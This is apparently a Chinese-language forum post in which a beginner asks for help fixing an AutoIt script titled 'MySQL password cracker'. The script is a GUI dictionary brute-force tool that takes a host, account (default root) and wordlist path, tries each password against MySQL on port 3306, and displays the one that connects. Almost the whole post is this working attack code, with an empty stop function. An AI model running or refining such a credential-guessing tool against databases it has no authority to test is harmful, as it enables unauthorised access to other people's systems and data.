|
我写了一段这样的代码,但是由于是初学所以不是很懂,请大牛帮我修改一下。
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <File.au3>
#include <Array.au3>
#include <EzMySql.au3>
#region ### START Koda GUI section ### Form=
Dim $host, $user, $pass
$Form1 = GUICreate("Mysql密码破解", 452, 299, -1, -1, -1, $WS_EX_ACCEPTFILES)
$Label1 = GUICtrlCreateLabel("IP地址:", 32, 72, 50, 17)
$input1 = GUICtrlCreateInput("localhost", 88, 70, 121, 21)
$Label2 = GUICtrlCreateLabel("账号:", 224, 72, 40, 17)
$input2 = GUICtrlCreateInput("root", 280, 70, 121, 21)
$Label3 = GUICtrlCreateLabel("密码字典路径:", 32, 120, 88, 17)
$input3 = GUICtrlCreateInput("", 128, 118, 185, 21)
GUICtrlSetState(-1, $GUI_DROPACCEPTED)
$Label4 = GUICtrlCreateLabel("可拖动文件", 328, 120, 76, 17)
$Button1 = GUICtrlCreateButton("开始破解", 104, 176, 75, 25)
$Button2 = GUICtrlCreateButton("停止破解", 232, 176, 75, 25)
$Label5 = GUICtrlCreateLabel("破解结果:", 32, 232, 64, 17)
$Label6 = GUICtrlCreateLabel("", 90, 232, 400, 17)
GUISetState(@SW_SHOW)
#endregion ### END Koda GUI section ###
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
Case $Button1
_startcrack()
Case $Button2
_stopcrack()
EndSwitch
WEnd
Func _startcrack()
$host = GUICtrlRead($input1)
$user = GUICtrlRead($input2)
$dicpath = GUICtrlRead($input3)
_FileReadToArray($dicpath, $pass)
For $i = 1 To $pass[0]
_EzMySql_Startup()
$conn = _EzMySql_open($host, $user, $pass[$i], "", "3306")
If $conn = 1 Then
GUICtrlSetData($Label6,$pass[$i])
EndIf
_EzMySql_Close()
_EzMysql_ShutDown()
Next
EndFunc ;==>_startcrack
Func _stopcrack()
EndFunc ;==>_stopcrack |
|